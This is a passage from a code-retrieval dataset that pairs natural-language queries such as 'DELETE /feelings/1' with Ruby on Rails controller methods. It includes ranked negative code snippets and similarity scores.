"def update\n respond_to do |format|\n if @favorite_chapter.update(favorite_chapter_params)\n format.html { redirect_to @favorite_chapter, notice: 'Favorite chapter was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_chapter }\n else\n format.html { render :edit }\n format.json { render json: @favorite_chapter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fact.update(fact_params)\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @feeling.destroy\n respond_to do |format|\n format.html { redirect_to feelings_url, notice: 'Feeling was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def update\n @enq_face = EnqFace.find(params[:id])\n\n respond_to do |format|\n if @enq_face.update_attributes(params[:enq_face])\n format.html { redirect_to @enq_face, notice: 'Enq face was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @enq_face.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @one_offspring.update(one_offspring_params)\n format.html { redirect_to @one_offspring, notice: 'One offspring was successfully updated.' }\n format.json { render :show, status: :ok, location: @one_offspring }\n else\n format.html { render :edit }\n format.json { render json: @one_offspring.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @food.update(food_params)\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { render :show, status: :ok, location: @food }\n else\n format.html { render :edit }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @suggested_business.update(suggested_business_params)\n format.html { redirect_to @suggested_business, notice: 'Suggested business was successfully updated.' }\n format.json { render :show, status: :ok, location: @suggested_business }\n else\n format.html { render :edit }\n format.json { render json: @suggested_business.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @friday.update(friday_params)\n format.html { redirect_to @friday, notice: \"Friday was successfully updated.\" }\n format.json { render :show, status: :ok, location: @friday }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @friday.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.6885447",
"0.6589147",
"0.62522805",
"0.612598",
"0.6112526",
"0.6074186",
"0.60537636",
"0.60494673",
"0.6044397",
"0.60422385",
"0.6028454",
"0.59988153",
"0.5990904",
"0.59555966",
"0.5932589",
"0.592771",
"0.59120136",
"0.58992726",
"0.5899209",
"0.58894825",
"0.58824635",
"0.586134",
"0.58514935",
"0.58511055",
"0.58509624",
"0.5845517",
"0.5843388",
"0.58410424",
"0.5836514",
"0.58348566",
"0.5832821",
"0.58272696",
"0.5819088",
"0.58183527",
"0.5799502",
"0.5795261",
"0.5793056",
"0.5792747",
"0.5792747",
"0.5792594",
"0.5783546",
"0.5773072",
"0.57723254",
"0.57642686",
"0.57605624",
"0.5758577",
"0.5758564",
"0.57579374",
"0.5756554",
"0.57537436",
"0.574487",
"0.5726194",
"0.57250106",
"0.571932",
"0.57187563",
"0.571648",
"0.5710039",
"0.5709377",
"0.5708222",
"0.5705574",
"0.57017565",
"0.56996405",
"0.56934047",
"0.56925696",
"0.5689851",
"0.5681375",
"0.5679797",
"0.5673315",
"0.56689066",
"0.5663829",
"0.5662994",
"0.5662994",
"0.5662994",
"0.5662994",
"0.5661245",
"0.5656038",
"0.56519103",
"0.56519103",
"0.5643523",
"0.56423527",
"0.5641816",
"0.5634818",
"0.5634013",
"0.5633069",
"0.56279373",
"0.562749",
"0.56224436",
"0.56175137",
"0.5617238",
"0.5611901",
"0.5608687",
"0.56074715",
"0.56064034",
"0.56031305",
"0.56005824",
"0.55979645",
"0.5596775",
"0.5583187",
"0.55806917",
"0.5578867"
] | 0.7325833 | 0 |
DELETE /feelings/1 DELETE /feelings/1.json | def destroy
@feeling = Feeling.find(params[:id])
@feeling.destroy
respond_to do |format|
format.html { redirect_to feelings_url }
format.json { head :ok }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @feeling = Feeling.find(params[:id])\n @feeling.destroy\n render :ok, json: { feeling: @feeling }\n end",
"def destroy\n @feeling.destroy\n respond_to do |format|\n format.html { redirect_to feelings_url, notice: 'Feeling was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feat = @person.feats.find(params[:id])\n @feat.destroy\n\n respond_to do |format|\n format.html { redirect_to(person_feats_url(@person)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @belief = Belief.find(params[:id])\n @belief.destroy\n\n respond_to do |format|\n format.html { redirect_to beliefs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @featuring.destroy\n respond_to do |format|\n format.html { redirect_to featuring_index_url, notice: 'Featuring was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @uginuce.sheep.update status:'na farmi'\n @uginuce.destroy\n respond_to do |format|\n format.html { redirect_to uginuces_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fee = Fee.find(params[:id])\n @fee.destroy\n\n respond_to do |format|\n format.html { redirect_to fees_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feeling_card.destroy\n respond_to do |format|\n format.html { redirect_to feeling_cards_url, notice: 'Feeling card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fee.destroy\n respond_to do |format|\n format.html { redirect_to @fee.booth, flash: { warning: 'Fee was deleted.' } }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@feat = Feat.find(params[:id])\n @feat = @character.feats.find(params[:id])\n @feat.destroy\n\n respond_to do |format|\n format.html { redirect_to(edit_character_path(@character)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @butterfly = Butterfly.find(params[:id])\n @butterfly.destroy\n\n respond_to do |format|\n format.html { redirect_to butterflies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@klass_fee = KlassFee.find(params[:id])\n #@klass_fee.destroy\n\n respond_to do |format|\n format.html { redirect_to klass_fees_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feild.destroy\n respond_to do |format|\n format.html { redirect_to feilds_url, notice: 'Feild was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @foodhamper = Foodhamper.find(params[:id])\n @foodhamper.destroy\n\n respond_to do |format|\n format.html { redirect_to foodhampers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @favorite_flyer = FavoriteFlyer.find(params[:id])\n @favorite_flyer.destroy\n\n respond_to do |format|\n format.html { redirect_to favorite_flyers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food = Food.find(params[:id])\n @food.destroy\n\n respond_to do |format|\n format.html { redirect_to foods_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @food = Food.find(params[:id])\n @food.destroy\n\n respond_to do |format|\n format.html { redirect_to foods_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @appraisal_fee.destroy\n respond_to do |format|\n format.html { redirect_to appraisal_fees_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fantasy_draft_style.destroy\n respond_to do |format|\n format.html { redirect_to fantasy_draft_styles_url, notice: 'Fantasy draft style was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fabric = Fabric.find(params[:id])\n @fabric.destroy\n\n respond_to do |format|\n format.html { redirect_to fabrics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food_recipe = FoodRecipe.find(params[:id])\n @food_recipe.destroy\n\n respond_to do |format|\n format.html { redirect_to food_recipes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gotcha = Gotcha.find(params[:id])\n @gotcha.destroy\n\n respond_to do |format|\n format.html { redirect_to gotchas_url, notice: 'Gotcha was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @featured_duffel = FeaturedDuffel.find_by_permalink(params[:id])\n @featured_duffel.destroy\n\n respond_to do |format|\n format.html { redirect_to(featured_duffels_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @saying = Saying.find(params[:id])\n @saying.destroy\n\n respond_to do |format|\n format.html { redirect_to sayings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @meal_food.destroy\n respond_to do |format|\n format.html { redirect_to meal_foods_url, notice: 'Meal food was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wfeat.destroy\n respond_to do |format|\n format.html { redirect_to wfeats_url, notice: 'Wfeat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @articy_draft.destroy\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @frais_hebergement = FraisHebergement.find(params[:id])\n @frais_hebergement.destroy\n\n respond_to do |format|\n format.html { redirect_to frais_hebergements_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fee.destroy\n respond_to do |format|\n format.html { redirect_to fees_url, notice: 'Fee was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fee.destroy\n respond_to do |format|\n format.html { redirect_to fees_url, notice: 'Fee was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @goody = Goody.find(params[:id])\n @goody.destroy\n\n respond_to do |format|\n format.html { redirect_to goodies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cooked_meal.destroy\n respond_to do |format|\n format.html { redirect_to cooked_meals_url, notice: 'Cooked meal was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @favorite_recipe.destroy\n respond_to do |format|\n format.html { redirect_to favorite_recipes_url, notice: 'Favorite recipe was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @frase.destroy\n respond_to do |format|\n format.html { redirect_to frases_url, notice: 'Frase was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @freelancer_knowledge.destroy\n respond_to do |format|\n format.html { redirect_to freelancer_knowledges_url, notice: 'Freelancer knowledge was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @knowledge = Knowledge.find(params[:id])\n @knowledge.destroy\n\n respond_to do |format|\n format.html { redirect_to knowledges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @meal = Meal.find(params[:id])\n @meal.destroy\n\n respond_to do |format|\n format.html { redirect_to meals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @needed_good = NeededGood.find(params[:id])\n @needed_good.destroy\n\n respond_to do |format|\n format.html { redirect_to needed_goods_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exhibition = Exhibition.find(params[:id])\n @exhibition.destroy\n\n respond_to do |format|\n format.html { redirect_to exhibitions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @knowledge.destroy\n respond_to do |format|\n format.html { redirect_to knowledges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fast_food.destroy\n respond_to do |format|\n format.html { redirect_to fast_foods_url, notice: 'Fast food was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @thief.destroy\n respond_to do |format|\n format.html { redirect_to thiefs_url, notice: 'Imputado eliminado con éxito' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @favourite_food = FavouriteFood.find(params[:id])\n @favourite_food.destroy\n\n respond_to do |format|\n format.html { redirect_to favourite_foods_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fish.destroy\n respond_to do |format|\n format.html { redirect_to fish_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n compute.delete_flavor(params[:id])\n \n\n respond_to do |format|\n format.html { redirect_to flavors_path }\n format.json { head :ok }\n end\n end",
"def destroy\n @meal.destroy\n\n respond_to do |format|\n format.html { redirect_to meals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hearted.destroy\n respond_to do |format|\n format.html { redirect_to hearteds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fiction = Fiction.find(params[:id])\n @fiction.destroy\n\n respond_to do |format|\n format.html { redirect_to fiction_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fooddiary.destroy\n respond_to do |format|\n format.html { redirect_to food_fooddiaries_url(@food.id) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food.destroy\n @food.image.destroy\n @j = Joint.where(food_id: @food.id)\n if @j == true\n @j.destroy_all\n end\n respond_to do |format|\n format.html { redirect_to foods_url, notice: 'Food was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chef_att_deb.destroy\n respond_to do |format|\n format.html { redirect_to chef_att_debs_url, notice: 'Chef att deb was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fishing_method = FishingMethod.find(params[:id])\n @fishing_method.destroy\n\n respond_to do |format|\n format.html { redirect_to fishing_methods_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @favourites_recipe.destroy\n respond_to do |format|\n format.html { redirect_to favourites_recipes_url, notice: 'Favourites recipe was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fechascontable = Fechascontable.find(params[:id])\n @fechascontable.destroy\n\n respond_to do |format|\n format.html { redirect_to(fechascontables_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @membership_fee = MembershipFee.find(params[:id])\n @membership_fee.destroy\n\n respond_to do |format|\n format.html { redirect_to membership_fees_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bg_setup = BgSetup.find(params[:id])\n @bg_setup.destroy\n\n respond_to do |format|\n format.html { redirect_to bg_setups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @confection.destroy\n respond_to do |format|\n format.html { redirect_to confections_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @diet.destroy\n head :no_content, status: 200\n else\n render json: @diet.errors, status: 405\n end\n end",
"def destroy\n @flat_happening = FlatHappening.find(params[:id])\n @flat_happening.destroy\n\n head :no_content\n end",
"def destroy\n @allergen_and_favorite_aliment.destroy\n respond_to do |format|\n format.html { redirect_to allergen_and_favorite_aliments_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render :json => @fiestas.delete_at(params[:id].to_i)\n end",
"def destroy\n @familiar = Familiar.find(params[:id])\n @familiar.destroy\n\n respond_to do |format|\n format.html { redirect_to familiars_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fascicle.destroy\n respond_to do |format|\n format.html { redirect_to fascicles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @beef.destroy\n respond_to do |format|\n format.html { redirect_to beefs_url, notice: 'Beef was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @addimition = Addimition.find(params[:id])\n @addimition.destroy\n\n respond_to do |format|\n format.html { redirect_to addimitions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @meal_dish.destroy\n respond_to do |format|\n format.html { redirect_to meal_dishes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fee_structure.destroy\n respond_to do |format|\n format.html { redirect_to fee_structures_url, notice: 'Fee structure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @theader.destroy\n respond_to do |format|\n format.html { redirect_to offices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @familium = Familium.find(params[:id])\n @familium.destroy\n\n respond_to do |format|\n format.html { redirect_to familia_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fud_entry.destroy\n respond_to do |format|\n format.html { redirect_to fud_entries_url, notice: 'Fud entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @diet_ingredient_type.destroy\n respond_to do |format|\n format.html { redirect_to diet_ingredient_types_url, notice: 'Diet ingredient type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @campus_food = CampusFood.find(params[:id])\n @campus_food.destroy\n\n respond_to do |format|\n format.html { redirect_to campus_foods_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @forest = Forest.find(params[:id])\n @forest.destroy\n\n respond_to do |format|\n format.html { redirect_to forests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fabricsofaset.destroy\n respond_to do |format|\n format.html { redirect_to fabricsofasets_url, notice: 'Fabricsofaset was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @college_fee = CollegeFee.find(params[:id])\n @college_fee.destroy\n\n respond_to do |format|\n format.html { redirect_to college_fees_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mueble.destroy\n respond_to do |format|\n format.html { redirect_to muebles_url, notice: 'Mueble was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @foaf.destroy\n\n respond_to do |format|\n format.html { redirect_to foafs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @foaf.destroy\n\n respond_to do |format|\n format.html { redirect_to foafs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @saved_food = SavedFood.find(params[:id])\n @saved_food.destroy\n\n respond_to do |format|\n format.html { redirect_to(saved_foods_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ingredient = Ingredient.find(params[:id])\n @ingredient.destroy\n\n respond_to do |format|\n format.html { redirect_to ingredients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n string = \"DELETE FROM notes WHERE famille_id = #{@famille.id}\"\n connection = Demande.connection\n connection.delete(string)\n @famille.destroy\n respond_to do |format|\n format.html { redirect_to familles_url, notice: 'Famille was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @meal.destroy\n respond_to do |format|\n format.html { redirect_to meals_url, notice: 'Meal was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flagged_word = FlaggedWord.find(params[:id])\n @flagged_word.destroy\n\n respond_to do |format|\n format.html { redirect_to flagged_words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flaw = Flaw.find(params[:id])\n @flaw.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_flaws_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @diet_dish.destroy\n respond_to do |format|\n format.html { redirect_to diet_dishes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exalt = Exalt.find(params[:id])\n @exalt.destroy\n\n respond_to do |format|\n format.html { redirect_to exalts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @education_entry.destroy\n respond_to do |format|\n format.html { redirect_to education_entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n @meal = @meal_recipe.meal\n \n @meal_ingredient = MealIngredient.new\n @meal_plan = @meal_recipe.meal.day.meal_plan\n @meal_recipe.destroy\n\n\n respond_to do |format|\n format.turbo_stream\n format.html { redirect_to meal_plan_path(@meal_plan), notice: \"Meal recipe was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @formation.destroy\n respond_to do |format|\n format.html { redirect_to formations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @six.destroy\n respond_to do |format|\n format.html { redirect_to sixes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food_expenditure.destroy\n respond_to do |format|\n format.html { redirect_to food_expenditures_url, notice: 'FoodExpenditure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n meal = Meal.find(params[:id])\n meal.destroy\n respond_to do |format|\n format.html { redirect_to meals_url, notice: 'Meal was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sheep.destroy\n respond_to do |format|\n format.html { redirect_to sheep_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @infection.destroy\n respond_to do |format|\n format.html { redirect_to infections_url, notice: 'Infection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fitbit.destroy\n respond_to do |format|\n format.html { redirect_to fitbits_url, notice: 'Fitbit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @behatweb = Behatweb.find(params[:id])\n @behatweb.destroy\n\n respond_to do |format|\n format.html { redirect_to behatwebs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @habbit.destroy\n respond_to do |format|\n format.html { redirect_to habbits_url, notice: 'Habbit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n request(:delete, \"/recipes/#{id}.json\")\n end",
"def destroy\n @housing_feature = HousingFeature.find(params[:id])\n @housing_feature.destroy\n\n respond_to do |format|\n format.html { redirect_to housing_features_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.75347584",
"0.7383757",
"0.6595079",
"0.65502685",
"0.65330356",
"0.64812326",
"0.6477097",
"0.6459164",
"0.6458657",
"0.6448738",
"0.64453256",
"0.6416836",
"0.636335",
"0.6354889",
"0.6345786",
"0.6336549",
"0.6336549",
"0.6334268",
"0.6329851",
"0.6329404",
"0.6311851",
"0.6294713",
"0.62907946",
"0.6290192",
"0.6286661",
"0.62634534",
"0.6262752",
"0.626187",
"0.62546504",
"0.62546504",
"0.62499183",
"0.6249865",
"0.62496924",
"0.6245566",
"0.62288535",
"0.62263274",
"0.62262225",
"0.6225676",
"0.6225421",
"0.622058",
"0.62205",
"0.6218152",
"0.62167114",
"0.62126666",
"0.6211164",
"0.62103724",
"0.62092686",
"0.6207727",
"0.62065846",
"0.6204999",
"0.6202616",
"0.62001765",
"0.6192934",
"0.6192408",
"0.6190494",
"0.61864847",
"0.6186413",
"0.61821395",
"0.6180826",
"0.61741436",
"0.6173475",
"0.61725444",
"0.6171528",
"0.6169965",
"0.61676115",
"0.61656636",
"0.61655945",
"0.6164553",
"0.616309",
"0.61608076",
"0.6158319",
"0.6158266",
"0.6156577",
"0.61552364",
"0.61541945",
"0.61516666",
"0.61513764",
"0.6151247",
"0.6151247",
"0.61511487",
"0.61511266",
"0.61508334",
"0.61507756",
"0.61497474",
"0.6149724",
"0.6148887",
"0.6147497",
"0.6144714",
"0.6144129",
"0.61434543",
"0.6140484",
"0.6140244",
"0.6140161",
"0.6138889",
"0.61361784",
"0.6135806",
"0.6131819",
"0.6131396",
"0.6131135",
"0.6130625"
] | 0.76134413 | 0 |
execute this script by using the url " | def random_expand_zone
@user = User.find_by_name(get_random_user_name)
if @user == nil
redirect_to( :controller => "users", :action => "index" )
else
@result = ScalabilityTest.random_expand_or_attack(@user.id, :MODE_EXPAND)
flash[:notice] = @result
redirect_to( :controller => "zones", :action => "index" )
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def exec loc, script, params = {}\n params.merge! :script => script, :loc => loc\n http :post, \"/exec\", params\n end",
"def script\n # escape command parameter\n params[:command] = params[:command].gsub('..', '').gsub(';', '');\n\n ret = @uri.script(params[:command].split(',')[0], params[:command].split(',')[1])\n render plain: ret[:message], status: ret[:status]\n end",
"def execute_script(script, *args); end",
"def execute script\n native.execute_script script\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def script; end",
"def script; end",
"def perform(url)\n scrape_url(url)\n end",
"def cmd\n c = [\"open #{page_url}\"]\n c << argument_string(unknown_options) unless unknown_options.empty?\n c.join(\"\\n\")\n end",
"def run(iContent)\n lError = launchURL(iContent)\n if (lError != nil)\n log_err lError\n end\n end",
"def run_script\n Script.new(instructions, storage, self).execute\n end",
"def web\n Minimart::Commands::Web.new(options).execute!\n\n rescue Minimart::Error::BaseError => e\n Minimart::Error.handle_exception(e)\n end",
"def execute_script(filename)\n\tif File.exist?(filename) \n\t\t execute_query File.read(filename),\n\t\t\t{ :db_name => @properties[\"ml.content-db\"] }\t\t\t\n\t\t\tlogger.info \"Executed script #{filename} successfully\"\n\telse\n\t\tlogger.info \"#{filename} does not exist\"\t\n\tend\n end",
"def execute_script(file)\n abspath = ::File.expand_path(file,@pwd.full_path)\n execute(Rush::File.new(abspath).contents)\n end",
"def run\n\t\treq = Net::HTTP::Put.new(uri.path)\n\t\treq.body = query_string\n\t\tres = Net::HTTP.start(url.host, url.port) { |http|\n\t\t http.request(req)\n\t\t}\n\t\tres.body\n\tend",
"def execute(xml)\n\t\tAPIRequest.execute(url,xml.to_s)\n\tend",
"def script_load(script); end",
"def exec_script(script_text)\n response = api_post_request('/scriptText', {'script' => script_text}, true)\n response.body\n end",
"def execute_async_script(script, *args); end",
"def launch(url)\n Java::limelight.Context.instance.os.launch(url)\n end",
"def go()\n\[email protected] @url\n end",
"def execute_script(script, *args)\n bridge.execute_script(script, *args)\n end",
"def go_to(url)\n driver.get url\n end",
"def execute\n @result = MdnQuery::SearchResult.from_url(url)\n end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
"def blog\n system(\"open #{blog_url}\")\n end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif RUBY_PLATFORM =~ /linux/\n `#{ENV['BROWSER']} #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
"def execute_call_plain(url)\n res = Net::HTTP.get_response(URI.parse(url))\n case res\n when Net::HTTPRedirection\n # Return the new URL\n res['location']\n when Net::HTTPSuccess\n res.body\n else\n raise TransportError.new(res)\n end\n end",
"def eval script\n # native function. this stub is for documenting only\n end",
"def execute_script(path)\n response = `ruby #{path} #{post_body}`\n if !! ($?.to_s =~ /1$/)\n raise ProcessingError\n else\n response\n end\n end",
"def url(argv)\n require 'uri'\n\n arg = argv[8..-1]\n arg.gsub!(\"#\",\"%23\")\n pdf, page = arg.split(\"%23\")\n\n # check if this is my page, or someone else's\n if My_domains.index( URI.parse(cururl).host )\n fname = \"#{PDF_path}/#{pdf}.pdf\"\n else\n fname = try { get_pdf_from_refpage }\n fail \"Not able to automatically download PDF\" unless fname\n end\n\n if File.exists?(fname)\n skim = Appscript.app('skim')\n dd = skim.open(fname)\n dd.go({:to => dd.pages.get[page.to_i-1]}) unless page == nil\n skim.activate\n else\n growl(\"File not found\", \"Cannot find PDF #{fname}\")\n end\nend",
"def execute_script(script, *args)\n driver.execute_script(script, *args)\n end",
"def run\n puts url\n html = Games::FetchHtml.run(url: url)\n games = parse_html(html)\n return \"No data for #{date} #{sport}\" if games.nil?\n save_wunder_data(games)\n end",
"def run_script(scriptname, params)\n body = request(:post, \"script/#{scriptname}/run\", 'text/plain', params)\n JSON.parse(body)['result']\n end",
"def run\n super\n\n entity_name = _get_entity_name\n opt_create_entities = _get_option(\"create_entities\")\n \n # Make sure the key is set\n api_key = _get_task_config(\"publicwww_api_key\")\n\n # special case google analytics, as we can find interesting things by not \n # sending the last bit of the key\n if entity_name =~ /^ua-.*$/i\n entity_name = entity_name.split(\"-\")[0..-2].join(\"-\")\n _log \"Dropping trailing part of google user agent: #{entity_name}\"\n end\n\n\n # Craft the UniqueToken search URL to export\n query_url = \"https://publicwww.com/websites/%22#{entity_name}-%22/?export=urls&key=#{api_key}\"\n \n # Download the xport\n download = http_get_body(query_url)\n \n # read the file results\n download.split(\"\\n\").each do |found_url|\n _create_entity(\"Uri\" , \"name\" => found_url) if opt_create_entities\n end\n\n # store links as an extended detail\n _set_entity_detail(\"public_www_results\", { entity_name => download.split(\"\\n\")[1..30] } )\n\n end",
"def goto(url)\r\n #set_defaults()\r\n get_window_number()\r\n set_browser_document()\r\n # Load the given url.\r\n $jssh_socket.send(\"#{BROWSER_VAR}.loadURI(\\\"#{url}\\\");\\n\" , 0)\r\n read_socket()\r\n\r\n wait()\r\n end",
"def download_bandcamp_url(folder_name, url)\n \"cd audio/#{folder_name} && ruby ../../scripts/bandcamp_downloader/bandcamp_downloader.rb #{url}\"\n end",
"def download_youtube_url(folder_name, url)\n \"ruby ./scripts/youtube-audio-downloader/youtube-audio.rb url #{url} ./audio/#{folder_name}\"\n end",
"def loadfile _file_url, _append\n send_cmd(\"loadfile #{_file_url} #{_append}\")\n end",
"def run(robot, script)\n\nend",
"def run\n make_request(@path)\n end",
"def execute_script(*args)\n raises_error { __getobj__.execute_script(*args) }\n end",
"def execute(url_chunk, additional_options = {})\n request = ::Typhoeus::Request.new(\n Addressable::URI.escape(\"#{service_url}/#{url_chunk}\"),\n options[:typhoeus].merge({ method: :get\n })\n .merge(additional_options)\n )\n request.run\n response = request.response\n validate_response(response)\n response\n end",
"def execute\n # Generate the shell script that will run WEACEExecute.\n File.open(\"#{@ProviderEnv[:Shell][:InternalDirectory]}/Test_Broadcast.sh\", 'w') do |oFile|\n oFile << \"\\#!/bin/sh\n#{@ProviderEnv[:WEACEExecuteCmd]} MasterServer --user Scripts_Tester --process Test_Broadcast -- --comment $1\n\"\n end\n\n return nil\n end",
"def openurl(url)\n runcmd 'openurl', url\n end",
"def run_result; result['run_cyber_dojo_sh']; end",
